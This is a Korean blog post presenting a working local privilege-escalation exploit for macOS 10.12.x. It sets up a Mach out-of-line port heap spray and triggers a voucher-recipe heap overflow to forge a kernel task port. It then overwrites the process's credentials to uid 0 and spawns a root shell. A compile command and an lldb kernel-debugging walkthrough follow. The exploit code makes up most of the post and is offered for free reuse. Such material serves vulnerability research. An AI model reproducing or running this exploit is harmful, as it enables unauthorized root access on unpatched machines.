logo

English

이곳의 프로그래밍관련 정보와 소스는 마음대로 활용하셔도 좋습니다. 다만 쓰시기 전에 통보 정도는 해주시는 것이 예의 일것 같습니다. 질문이나 오류 수정은 siseong@gmail.com 으로 주세요. 감사합니다.

MacOS 10.12.2 (OSX) 보안 취약점 공격 코드 2

by digipine posted Nov 02, 2017
?

Shortcut

PrevPrev Article

NextNext Article

Larger Font Smaller Font Up Down Go comment Print Attachment
?

Shortcut

PrevPrev Article

NextNext Article

Larger Font Smaller Font Up Down Go comment Print Attachment

 

#define PORT_COUNT 1024

#define USE_PORT_START 384

#define USE_PORT_HALF 512

#define USE_PORT_END 640

#define IO_BITS_ACTIVE 0x80000000

#define IKOT_CLOCK 25

#define IKOT_TASK 2

#define lck_spin_t char

#define TASK_GAP_IN_PROC 24

#define CR_RUID_GAP_IN_UCRED 24

#define TASK_GAP_IN_IPC_OBJ 104

#define ITK_KERN_SSELF_GAP_IN_TASK 232

#define UCRED_GAP_IN_PROCESS 232

#define TASK_INFO_GAP 896

 

#import <stdio.h>

#import <stdlib.h>

#import <mach/mach.h>

#import <atm/atm_types.h>

#import <sys/mman.h>

  

/* FROM osfmk/ipc/ipc_object.h -*/

typedef natural_t ipc_object_bits_t;

typedef natural_t ipc_object_refs_t;

  

typedef struct _ipc_object{

    ipc_object_bits_t io_bits;

    ipc_object_refs_t io_references;

    lck_spin_t io_lock_data[1024];

}ipc_object;

/* ----------------------------*/

  

typedef struct _dumpdata{

    char* dump_port;

    char* dump_task;

    uint64_t dump_itk_kern_sself;

}dumpdata;

  

struct ool_send_msg{

    mach_msg_header_t msg_head;

    mach_msg_body_t msg_body;

    mach_msg_ool_ports_descriptor_t msg_ool_ports[16];

};

  

struct ool_recv_msg{

    mach_msg_header_t msg_head;

    mach_msg_body_t msg_body;

    mach_msg_ool_ports_descriptor_t msg_ool_ports[16];

    mach_msg_trailer_t msg_trailer;

};

  

struct ool_send_msg send_msg;

struct ool_recv_msg recv_msg;

mach_port_t* ool_port_fengshui(){

    int current_port_num = 0;

    mach_port_t* ool_ports;

    ool_ports = calloc(PORT_COUNT, sizeof(mach_port_t));

  

    // Part 1. Create OOL Ports

    for(current_port_num = 0; current_port_num < PORT_COUNT; current_port_num++){ // Alloc 1024 Ports

        mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &ool_ports[current_port_num]); // Alloc Port

        mach_port_insert_right(mach_task_self(), ool_ports[current_port_num], ool_ports[current_port_num], MACH_MSG_TYPE_MAKE_SEND); // MACH_MSG_TYPE_MAKE_SEND Right Set.

    }

  

    // Part 2. Create Message Buffer (Spray)

    mach_port_t* use_ports = calloc(1024, sizeof(mach_port_t));

  

    for(int i = 0; i <= 1024; i++){

        use_ports[i] = MACH_PORT_DEAD;

    }

  

    /* Set MSG HEADER */

    send_msg.msg_head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);

    send_msg.msg_head.msgh_size = sizeof(struct ool_send_msg) - 16;

    send_msg.msg_head.msgh_remote_port = MACH_PORT_NULL;

    send_msg.msg_head.msgh_local_port = MACH_PORT_NULL; // NULL SEND

    send_msg.msg_head.msgh_reserved = 0x00;

    send_msg.msg_head.msgh_id = 0x00;

    

    /* SET MSG BODY */

    send_msg.msg_body.msgh_descriptor_count = 1;

    

    /* SET MSG OOL PORT DESCRIPTOR */

    for(int i = 0; i<=16; i++){ // appropriate ipc-send size  

        send_msg.msg_ool_ports[i].address = use_ports;

        send_msg.msg_ool_ports[i].count = 32; // kalloc 0x100 (256)

        send_msg.msg_ool_ports[i].deallocate = 0x00;

        send_msg.msg_ool_ports[i].copy = MACH_MSG_PHYSICAL_COPY;

        send_msg.msg_ool_ports[i].disposition = MACH_MSG_TYPE_MAKE_SEND;

        send_msg.msg_ool_ports[i].type = MACH_MSG_OOL_PORTS_DESCRIPTOR;

    }

  

    // Part 3. Message Fengshui

    /* SEND MSG */

    for(current_port_num = 0; current_port_num < USE_PORT_START; current_port_num++){

        send_msg.msg_head.msgh_remote_port = ool_ports[current_port_num];

        kern_return_t send_result = mach_msg(&send_msg.msg_head, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, send_msg.msg_head.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

        if(send_result != KERN_SUCCESS){

            printf("[-] Error in OOL Fengshui send\nError : %s\n", mach_error_string(send_result));

            exit(1);

        }

    }

    for(current_port_num = USE_PORT_END; current_port_num < PORT_COUNT; current_port_num++){

        send_msg.msg_head.msgh_remote_port = ool_ports[current_port_num];

        kern_return_t send_result = mach_msg(&send_msg.msg_head, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, send_msg.msg_head.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

        if(send_result != KERN_SUCCESS){

            printf("[-] Error in OOL Fengshui send\nError : %s\n", mach_error_string(send_result));

            exit(1);

        }

    }

    for(current_port_num = USE_PORT_START; current_port_num < USE_PORT_END; current_port_num++){

        send_msg.msg_head.msgh_remote_port = ool_ports[current_port_num];

        kern_return_t send_result = mach_msg(&send_msg.msg_head, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, send_msg.msg_head.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

        if(send_result != KERN_SUCCESS){

            printf("[-] Error in OOL Fengshui send\nError : %s\n", mach_error_string(send_result));

            exit(1);

        }

    }

  

    /* RECV MSG */

    for(current_port_num = USE_PORT_START; current_port_num < USE_PORT_END; current_port_num += 4){

        recv_msg.msg_head.msgh_local_port = ool_ports[current_port_num];

        kern_return_t recv_result = mach_msg(&recv_msg.msg_head, MACH_RCV_MSG | MACH_MSG_OPTION_NONE, 0, sizeof(struct ool_recv_msg), ool_ports[current_port_num], MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

        if(recv_result != KERN_SUCCESS){

            printf("[-] Error in OOL Fengshui recv\nError : %s\n", mach_error_string(recv_result));

            exit(1);

        }

    }

  

    /* RE-SEND MSG */

    for(current_port_num = USE_PORT_START; current_port_num < USE_PORT_HALF; current_port_num += 4){

        send_msg.msg_head.msgh_remote_port = ool_ports[current_port_num];

        kern_return_t send_result = mach_msg(&send_msg.msg_head, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, send_msg.msg_head.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

        if(send_result != KERN_SUCCESS){

            printf("[-] Error in OOL Fengshui re-send\nError : %s\n", mach_error_string(send_result));

            exit(1);

        }

    }

    

    printf("[+] OOL Port Fengshui Success\n");

    return ool_ports;

}

  

/* ---- FROM Crash PoC ---- */

uint64_t map(uint64_t size) {

    uint64_t _addr = 0x00;

    kern_return_t err = mach_vm_allocate(mach_task_self(), &_addr, size, VM_FLAGS_ANYWHERE);

    if (err != KERN_SUCCESS) {

        printf("failed to allocate fixed mapping: %s\n", mach_error_string(err));

        exit(EXIT_FAILURE);

    }

    return _addr;

}

/* ----------------- */

  

/* ---- FROM exp.m ---- */

uint64_t roundup(uint64_t val, uint64_t pagesize) {

    val += pagesize - 1;

    val &= ~(pagesize - 1);

    return val;

}

void heap_overflow(uint64_t kalloc_size, uint64_t overflow_length, uint8_t* overflow_data, mach_port_t* voucher_port) {

    

    int pagesize = getpagesize();

  

    void* recipe_size = (void*)map(pagesize);

    *(uint64_t*)recipe_size = kalloc_size;

  

    uint64_t actual_copy_size = kalloc_size + overflow_length;

    uint64_t alloc_size = roundup(actual_copy_size, pagesize) + pagesize;

    uint64_t base = map(alloc_size); // unmap page

   

    uint64_t end = base + roundup(actual_copy_size, pagesize);

    mach_vm_deallocate(mach_task_self(), end, pagesize); // for copyin() stop

   

    uint64_t start = end - actual_copy_size;

   

    uint8_t* recipe = (uint8_t*)start;

   

    memset(recipe, 0x41, kalloc_size); // set kalloc size

    memcpy(recipe + kalloc_size, overflow_data, overflow_length); // set overflow bytes

   

    kern_return_t err = mach_voucher_extract_attr_recipe_trap(voucher_port, 1, recipe, recipe_size); // Trigger

  

}

/* -------------------- */

  

mach_port_t* find_manipulation_port(mach_port_t* port_list){

    for(int i = 0; i < USE_PORT_END; i++){

        send_msg.msg_head.msgh_local_port = port_list[i];

        kern_return_t send_result = mach_msg(&send_msg.msg_head, MACH_RCV_MSG | MACH_MSG_OPTION_NONE, 0, sizeof(struct ool_send_msg), port_list[i], MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

        for(int k = 0; k < send_msg.msg_body.msgh_descriptor_count; k++){ // traversing ool descriptors

            mach_port_t* tmp_port = send_msg.msg_ool_ports[k].address;

            if(tmp_port[0] != MACH_PORT_DEAD && tmp_port[0] != NULL){ // is Manipulated? (compare 8 bytes is enough. cuz of 8 bytes overflow)

                printf("[+] Found manipulated port! %dth port : %dth descriptor => %llx\n", i, k, tmp_port[0]);

                return tmp_port[0];

            }

        }

  

    }

  

    printf("[-] Error in Find Manipulated Port\n");

    exit(1);

}

  

uint64_t get_clock_list_addr(uint64_t fake_port, mach_port_t* manipulated_port){

    for(uint64_t guess_clock_addr = 0xffffff8000200000; guess_clock_addr < 0xffffff80F0200000; guess_clock_addr++){

        *(uint64_t *)(fake_port + TASK_GAP_IN_IPC_OBJ) = guess_clock_addr; // Traverse address

        *(uint64_t *)(fake_port + 0xa0) = 0xff;

  

        if(clock_sleep_trap(manipulated_port, 0, 0, 0, 0) == KERN_SUCCESS){

            printf("[+] found clock_list addr : %llx\n", guess_clock_addr);

            return (guess_clock_addr);

        }

    }

    printf("[-] Find clock_list addr failed.\n");

    exit(1);

}

  

uint64_t get_kernel_addr(uint64_t fake_port, void* fake_task, uint64_t clock_list_addr, mach_port_t* manipulated_port){

    *(uint64_t*) (fake_port + TASK_GAP_IN_IPC_OBJ) = fake_task;

    *(uint64_t*) (fake_port + 0xa0) = 0xff;

    *(uint64_t*) (fake_task + 0x10) = 0x01; 

  

    clock_list_addr &= ~(0x3FFF);

  

    for(uint64_t current_addr = clock_list_addr; current_addr > 0xffffff8000200000; current_addr-=0x4000) {

        int32_t kernel_data = 0;

        *(uint64_t*) (fake_task + TASK_INFO_GAP) = current_addr - 0x10;

        pid_for_task(manipulated_port, &kernel_data);

        if (kernel_data == 0xfeedfacf) {

            printf("[+] Found kernel_text addr : %llx\n", current_addr);

            return current_addr;

        }

    }

}

  

uint64_t get_proc_addr(uint64_t pid, uint64_t kernel_addr, void* fake_task, mach_port_t* manipulated_port){

    uint64_t allproc_real_addr = 0xffffff8000ABB490 - 0xffffff8000200000 + kernel_addr;

    

    uint64_t pCurrent = allproc_real_addr;

    uint64_t pNext = pCurrent;

    while (pCurrent != NULL) {

        int nPID = 0;   

        *(uint64_t*) (fake_task + TASK_INFO_GAP) = pCurrent;

        pid_for_task(manipulated_port, (int32_t*)&nPID);

        if (nPID == pid) {

            return pCurrent;

        }

        else{

            *(uint64_t*) (fake_task + TASK_INFO_GAP) = pCurrent - 0x10;

            pid_for_task(manipulated_port, (int32_t*)&pNext);

            *(uint64_t*) (fake_task + TASK_INFO_GAP) = pCurrent - 0x0C;

            pid_for_task(manipulated_port, (int32_t*)(((uint64_t)(&pNext)) + 4));

            pCurrent = pNext;

        }

    }

  

}

  

dumpdata* get_kernel_priv(uint64_t kernel_process, uint64_t* fake_port, void* fake_task, mach_port_t* manipulated_port){

    dumpdata* data = (dumpdata *)malloc(sizeof(dumpdata));

    data->dump_port = malloc(0x1000);

    data->dump_task = malloc(0x1000);

  

    uint64_t kern_task = 0;

    *(uint64_t*) (fake_task + TASK_INFO_GAP) = (kernel_process + 0x18) - 0x10 ;

    pid_for_task(manipulated_port, (int32_t*)&kern_task);

    *(uint64_t*) (fake_task + TASK_INFO_GAP) = (kernel_process + 0x1C) - 0x10;

    pid_for_task(manipulated_port, (int32_t*)(((uint64_t)(&kern_task)) + 4));

  

    uint64_t itk_kern_sself = 0;

    *(uint64_t*) (fake_task + TASK_INFO_GAP) = (kern_task + ITK_KERN_SSELF_GAP_IN_TASK) - 0x10;

    pid_for_task(manipulated_port, (int32_t*)&itk_kern_sself);

    *(uint64_t*) (fake_task + TASK_INFO_GAP) = (kern_task + ITK_KERN_SSELF_GAP_IN_TASK + 4) - 0x10;

    pid_for_task(manipulated_port, (int32_t*)(((uint64_t)(&itk_kern_sself)) + 4));

    data->dump_itk_kern_sself = itk_kern_sself;

  

    for (int i = 0; i < 256; i++) {

        *(uint64_t*) (fake_task + TASK_INFO_GAP) = (itk_kern_sself + i*4) - 0x10;

        pid_for_task(manipulated_port, (int32_t*)(data->dump_port + (i*4)));

    }

    for (int i = 0; i < 256; i++) {

        *(uint64_t*) (fake_task + TASK_INFO_GAP) = (kern_task + i*4) - 0x10;

        pid_for_task(manipulated_port, (int32_t*)(data->dump_task + (i*4)));

    }

    return data;

}

  

void main(void){

    // Create OOL Ports [Fengshui]

    mach_port_t* created_ports = ool_port_fengshui();

  

    // Create ATM Voucher & fakeport => ipc_object [Overflow ready]

    mach_port_t* voucher_port = MACH_PORT_NULL;

    mach_voucher_attr_recipe_data_t atm_data = {

        .key = MACH_VOUCHER_ATTR_KEY_ATM,

        .command = MACH_VOUCHER_ATTR_ATM_CREATE

    };

    kern_return_t err = host_create_mach_voucher(mach_host_self(), (mach_voucher_attr_raw_recipe_array_t)&atm_data, sizeof(atm_data), &voucher_port);

  

    ipc_object* fake_port = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0); // alloc fake_port

    void* fake_task = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0); // alloc fake_task

    fake_port->io_bits = IO_BITS_ACTIVE | IKOT_CLOCK; // for clock trap

    fake_port->io_lock_data[12] = 0x11;

    printf("[+] Create Fake Port. Address : %llx\n", (unsigned long long)fake_port);

    

    // Overflow Trigger

    heap_overflow(0x100, 0x8, (unsigned char *)&fake_port, voucher_port);

    

    // Find manipulated port

    mach_port_t* manipulated_port = find_manipulation_port(created_ports);

  

    // Leak Kernel Address using system clock trap => clock_list

    uint64_t clock_list = get_clock_list_addr((uint64_t) fake_port, manipulated_port);

    fake_port->io_bits = IO_BITS_ACTIVE | IKOT_TASK; // for task trap

    fake_port->io_references = 0x01; // [osfmk/ipc/ipc_object.c] (cuz of, assert(object->ioreferences > 0) pass) 

    uint64_t kernel_addr = get_kernel_addr((uint64_t) fake_port, fake_task, clock_list, manipulated_port);

  

    // Get my process and kernel process

    uint64_t current_process = get_proc_addr(getpid(), kernel_addr, fake_task, manipulated_port);

    printf("[+] Found current process addr : %llx\n", current_process);

    uint64_t kernel_process = get_proc_addr(0, kernel_addr, fake_task, manipulated_port);

    printf("[+] Found kernel addr : %llx\n", kernel_process);

  

    // Kernel AAR/AAW => kernel taskport & kernel port right

    dumpdata* data = get_kernel_priv(kernel_process, &fake_port, fake_task, manipulated_port);

    memcpy(fake_port, data->dump_port, 0x1000);

    memcpy(fake_task, data->dump_task, 0x1000);

    *(uint64_t*)(((uint64_t)fake_port) + TASK_GAP_IN_IPC_OBJ) = fake_task;

    *(uint64_t*)(((uint64_t)fake_port) + 0xa0) = 0xff;

    *(uint64_t*)(((uint64_t)fake_task) + 0x2b8) = data->dump_itk_kern_sself;

    mach_port_t kernel_port;

    task_get_special_port(manipulated_port, 4, &kernel_port);

    

    // Privilege Esccalation

    uint64_t cred;

    mach_vm_size_t read_bytes = 8;

    mach_vm_read_overwrite(kernel_port, (current_process + UCRED_GAP_IN_PROCESS), (size_t)8, (mach_vm_offset_t)(&cred), &read_bytes); // AAR in Kernel

    vm_offset_t root_uid = 0;

    mach_msg_type_number_t write_bytes = 8;

    mach_vm_write(kernel_port, (cred + CR_RUID_GAP_IN_UCRED), &root_uid, (mach_msg_type_number_t)write_bytes); // AAW in Kernel

    system("/bin/bash"); // Get Shell

   

}

 

 

 

 

Exploit Code (Tested On OS X 10.12.1)

 

Refactored from the reference.

 

 

 

 

 

 

 

컴파일: clang -framework IOKit -framework Foundation -framework CoreFoundation -pagezero_size 0x16000 poc.m -o poc

 

 

 

 

 

 

 

Debugging

 

이전 시리즈를 통해 macOS 커널디버깅을 익히고 나서 이번 내용을 보기 바란다. 이 버그를 디버깅 해 볼 것인데, 트리거 될때마다 컨트롤 플로우가 항상 달라 같은 결과를 보기가 어렵다. 따라하기보다는 어떻게 디버깅을 해서 접근을 하는지에 대한 참고로 사용하기 바란다.

 

 

 

 

 

 

 

(lldb) bt

* thread #2, name = '0xffffff8019752980', queue = '0x0', stop reason = signal SIGSTOP

    frame #0: 0xffffff801200bb4e kernel`Debugger [inlined] hw_atomic_sub(delt=1) at locks.c:1513 [opt]

    frame #1: 0xffffff801200bb4e kernel`Debugger(message=<unavailable>) at model_dep.c:1025 [opt]

    frame #2: 0xffffff8011ef368c kernel`panic(str="\"a freed zone element has been modified in zone %s: expected %p but found %p, bits changed %p, at offset %d of %d in element %p, cookies %p %p\"@/Library/Caches/com.apple.xbs/Sources/xnu/xnu-3789.21.4/osfmk/kern/zalloc.c:651") at debug.c:458 [opt]

    frame #3: 0xffffff8011f3f5c0 kernel`backup_ptr_mismatch_panic [inlined] zone_element_was_modified_panic(offset=0x0000000000000000) at zalloc.c:642 [opt]

    frame #4: 0xffffff8011f3f559 kernel`backup_ptr_mismatch_panic(zone=<unavailable>, element=<unavailable>, primary=0x4141414141414141, backup=<unavailable>) at zalloc.c:710 [opt]

    frame #5: 0xffffff8011f3e739 kernel`try_alloc_from_zone(zone=<unavailable>, check_poison=<unavailable>) at zalloc.c:832 [opt]

    frame #6: 0xffffff8011f3d174 kernel`zalloc_internal(zone=<unavailable>, canblock=1, nopagewait=0) at zalloc.c:2284 [opt]

  * frame #7: 0xffffff8011f84580 kernel`vm_map_copyin_internal at vm_map.c:9428 [opt]

    frame #8: 0xffffff8011f8454d kernel`vm_map_copyin_internal(src_map=<unavailable>, src_addr=140351697002496, len=3240, flags=<unavailable>, copy_result=<unavailable>) at vm_map.c:10279 [opt]

    frame #9: 0xffffff8011ed7629 kernel`ipc_kmsg_copyin_ool_descriptor [inlined] vm_map_copyin_common(src_map=<unavailable>, src_destroy=<unavailable>, copy_result=0xffffff8872c1be40, use_maxprot=0) at vm_map.c:10187 [opt]

    frame #10: 0xffffff8011ed7616 kernel`ipc_kmsg_copyin_ool_descriptor(dsc=0xffffff8018e99498, user_dsc=<unavailable>, is_64bit=<unavailable>, paddr=<unavailable>, copy=0xffffff8872c1be40, space_needed=<unavailable>, map=<unavailable>, mr=<unavailable>) at ipc_kmsg.c:2701 [opt]

    frame #11: 0xffffff8011ed7c25 kernel`ipc_kmsg_copyin_body(kmsg=0xffffff8018e99400, space=0xffffff8018925b40, map=0xffffff801c0e9e08) at ipc_kmsg.c:3035 [opt]

    frame #12: 0xffffff8011ee992f kernel`mach_msg_overwrite_trap(args=<unavailable>) at mach_msg.c:548 [opt]

    frame #13: 0xffffff8011ff26ae kernel`mach_call_munger64(state=0xffffff8018dd12c0) at bsd_i386.c:562 [opt]

    frame #14: 0xffffff8011ea5f66 kernel`hndl_mach_scall64 + 22

 

 

 

 

 

 

 

 

버그가 트리거 되면 여러개의 프레임들이 있는데, 우리는 힙영역을 구경할것이기 때문에 try_alloc_from_zone이 있는 프레임을 선택해 레지스터를 확인해 볼 것이다.

 

 

 

 

 

 

 

(lldb) register read

General Purpose Registers:

       rbx = 0xffffff801f9a3000

       rbp = 0xffffff8872c1bb50

       rsp = 0xffffff8872c1bb10

       r12 = 0x7e415085550ee3c7

       r13 = 0x4141414141414141

       r14 = 0xffffff8017cd74c0

       r15 = 0x4141414141414141

       rip = 0xffffff8011f3e739  kernel`try_alloc_from_zone + 521 at zalloc.c:832

13 registers were unavailable.

 

 

 

 

우선 r13과 r15 레지스터가 우리가 조작한 데이터로 덮혀씌워졌음을 알수있고, rbx는 어떤 객체를 가리키고있다.

 

 

 

 

 

(lldb) memory read $rbx

0xffffff801f9a3000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

0xffffff801f9a3010: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

 

 

 

 

kalloc으로 할당한 힙 영역임을 알 수 있고, 우리가 넣은 데이터들을 확인 할 수 있다. 이렇게 원하는곳에 Write를 할 수 있으니, Leak을 통해 커널베이스를 알아낼 수 있다면, posix_cred 구조체의 주소를 알아낸후 익스플로잇 하면 된다.

 

posix_cred 구조체를 확인해보도록 할 것이다.

 

 

 

(lldb) image list

[  0] 75CA1C4D-7BF4-321B-B544-D8F1B6D60EF8 0xffffff8011e00000 /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Kernels/kernel 

      /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Kernels/kernel.dSYM/Contents/Resources/DWARF/kernel

[  1] 4F7FB6AD-2498-3F71-827C-ED7AA4BF2511 0xffffff7f92c0c000 //System/Library/Extensions/IOACPIFamily.kext/Contents/MacOS/IOACPIFamily 

[  2] A55C1363-A09F-3755-9BD3-526A7A2C3B5B 0xffffff7f92732000 /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOPCIFamily.kext/IOPCIFamily 

      /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOPCIFamily.kext.dSYM/Contents/Resources/DWARF/IOPCIFamily

[  3] EA5D0966-E8EA-337A-98EB-195806E8F723 0xffffff7f92ebe000 //System/Library/Extensions/AppleFDEKeyStore.kext/Contents/MacOS/AppleFDEKeyStore 

[  4] B14DC3D3-7250-3DA3-BF50-C666EBEDAF4C 0xffffff7f932b6000 //System/Library/Extensions/IOReportFamily.kext/Contents/MacOS/IOReportFamily 

[  5] 510A2AD8-C127-34AA-A984-95A82C6AC1DA 0xffffff7f92650000 /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOStorageFamily.kext/Contents/MacOS/IOStorageFamily 

      /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOStorageFamily.kext.dSYM/Contents/Resources/DWARF/IOStorageFamily

[  6] DB526B45-1A45-3A81-A0C1-57F826CADEDF 0xffffff7f92c15000 //System/Library/Extensions/AppleBusPowerController.kext/Contents/MacOS/AppleBusPowerController 

[  7] 39E90AC4-0FCA-3CBD-80B2-3CBCD82940DC 0xffffff7f92c22000 /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOUSBHostFamily.kext/Contents/MacOS/IOUSBHostFamily 

[  8] 3B280DAB-903F-33DC-8110-525A1154B11E 0xffffff7f92b2f000 //System/Library/Extensions/AppleMatch.kext/Contents/MacOS/AppleMatch 

[  9] BC2E6D01-BCBB-3525-BF38-BF99C3F1EC46 0xffffff7f93eca000 //System/Library/Extensions/AppleAPIC.kext/Contents/MacOS/AppleAPIC 

[ 10] 9BB02681-4B47-3592-AD62-71FB0BF56965 0xffffff7f93c24000 //System/Library/Extensions/AppleSMBIOS.kext/Contents/MacOS/AppleSMBIOS 

[ 11] 3FD1BCF4-8AFC-3CE6-A36E-26410544AD14 0xffffff7f93c51000 //System/Library/Extensions/AppleRTC.kext/Contents/MacOS/AppleRTC 

[ 12] 185F0EBF-0262-3370-BD47-8FE4C8AA726E 0xffffff7f93242000 //System/Library/Extensions/IOSMBusFamily.kext/Contents/MacOS/IOSMBusFamily 

[ 13] 2CFB49B8-4CC2-320B-9C6E-99646DFD8571 0xffffff7f93e5c000 //System/Library/Extensions/AppleHPET.kext/Contents/MacOS/AppleHPET 

[ 14] 1A48D920-280E-36FA-8D48-49B79A5656E6 0xffffff7f92ec9000 /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOHIDFamily.kext/Contents/MacOS/IOHIDFamily 

      /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOHIDFamily.kext.dSYM/Contents/Resources/DWARF/IOHIDFamily

[ 15] 365596E4-A771-3427-B576-DB02D03FAEFE 0xffffff7f92dfe000 /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOUSBFamily.kext/Contents/MacOS/IOUSBFamily 

      /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOUSBFamily.kext.dSYM/Contents/Resources/DWARF/IOUSBFamily

[ 16] 6326DB88-5330-3F0C-91F6-D478AB5E7503 0xffffff7f92d8a000 /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IONetworkingFamily.kext/Contents/MacOS/IONetworkingFamily 

      /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IONetworkingFamily.kext.dSYM/Contents/Resources/DWARF/IONetworkingFamily

[ 17] 34B30414-098D-3D22-AAB5-1A754D0647C6 0xffffff7f93356000 //System/Library/Extensions/IONetworkingFamily.kext/Contents/PlugIns/AppleIntel8254XEthernet.kext/Contents/MacOS/AppleIntel8254XEthernet 

[ 18] BDC5E432-B04E-3ACF-A213-672128140381 0xffffff7f93705000 //System/Library/Extensions/IOATAFamily.kext/Contents/PlugIns/AppleIntelPIIXATA.kext/Contents/MacOS/AppleIntelPIIXATA 

[ 19] 5C275B66-A173-3D92-853A-44FC35D45FFC 0xffffff7f93717000 //System/Library/Extensions/IOAHCIFamily.kext/Contents/MacOS/IOAHCIFamily 

[ 20] BE72151C-73BE-35B7-8C31-74F49E4C5E98 0xffffff7f93ecf000 //System/Library/Extensions/AppleAHCIPort.kext/Contents/MacOS/AppleAHCIPort 

[ 21] C449634B-8121-3BFB-972D-966847C4321F 0xffffff7f93741000 //System/Library/Extensions/IOAHCIFamily.kext/Contents/PlugIns/IOAHCIBlockStorage.kext/Contents/MacOS/IOAHCIBlockStorage 

[ 22] 0E35A335-5605-36FB-991C-D0D38F4FA4E7 0xffffff7f926ef000 /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOSCSIArchitectureModelFamily.kext/Contents/MacOS/IOSCSIArchitectureModelFamily 

      /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOSCSIArchitectureModelFamily.kext.dSYM/Contents/Resources/DWARF/IOSCSIArchitectureModelFamily

[ 23] 4A92621E-97C8-3AB4-8E25-C540967F573C 0xffffff7f93262000 /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOSCSIArchitectureModelFamily.kext/Contents/PlugIns/SCSITaskUserClient.kext/Contents/MacOS/SCSITaskUserClient 

      /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOSCSIArchitectureModelFamily.kext/Contents/PlugIns/SCSITaskUserClient.kext.dSYM/Contents/Resources/DWARF/SCSITaskUserClient

[ 24] 9EEF7CF2-673C-3743-84DD-D3B3D5E61DDB 0xffffff7f9326d000 /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOCDStorageFamily.kext/Contents/MacOS/IOCDStorageFamily 

      /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOCDStorageFamily.kext.dSYM/Contents/Resources/DWARF/IOCDStorageFamily

[ 25] 9BC77405-09A3-3398-AE63-98894C42E288 0xffffff7f9327e000 /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IODVDStorageFamily.kext/Contents/MacOS/IODVDStorageFamily 

      /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IODVDStorageFamily.kext.dSYM/Contents/Resources/DWARF/IODVDStorageFamily

[ 26] EE071733-F836-360B-958B-440E2CCF81E1 0xffffff7f9328c000 /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOBDStorageFamily.kext/Contents/MacOS/IOBDStorageFamily 

      /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOBDStorageFamily.kext.dSYM/Contents/Resources/DWARF/IOBDStorageFamily

[ 27] 315023CC-5BBD-3C98-947C-56D52D1C50F6 0xffffff7f93298000 /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOSCSIArchitectureModelFamily.kext/Contents/PlugIns/IOSCSIMultimediaCommandsDevice.kext/Contents/MacOS/IOSCSIMultimediaCommandsDevice 

      /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOSCSIArchitectureModelFamily.kext/Contents/PlugIns/IOSCSIMultimediaCommandsDevice.kext.dSYM/Contents/Resources/DWARF/IOSCSIMultimediaCommandsDevice

[ 28] D01B501C-E5B8-36AC-930C-978C205EFEFF 0xffffff7f92b6c000 /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOGraphicsFamily.kext/IOGraphicsFamily 

      /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOGraphicsFamily.kext.dSYM/Contents/Resources/DWARF/IOGraphicsFamily

[ 29] C0ABF85C-CA30-3F02-9E1E-06F3BA5047A8 0xffffff7f938fa000 //System/Library/Extensions/vecLib.kext/Contents/MacOS/vecLib 

[ 30] 03A8E3F2-F30D-3D41-85E7-0B1C58034419 0xffffff7f9398f000 /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOAudioFamily.kext/Contents/MacOS/IOAudioFamily 

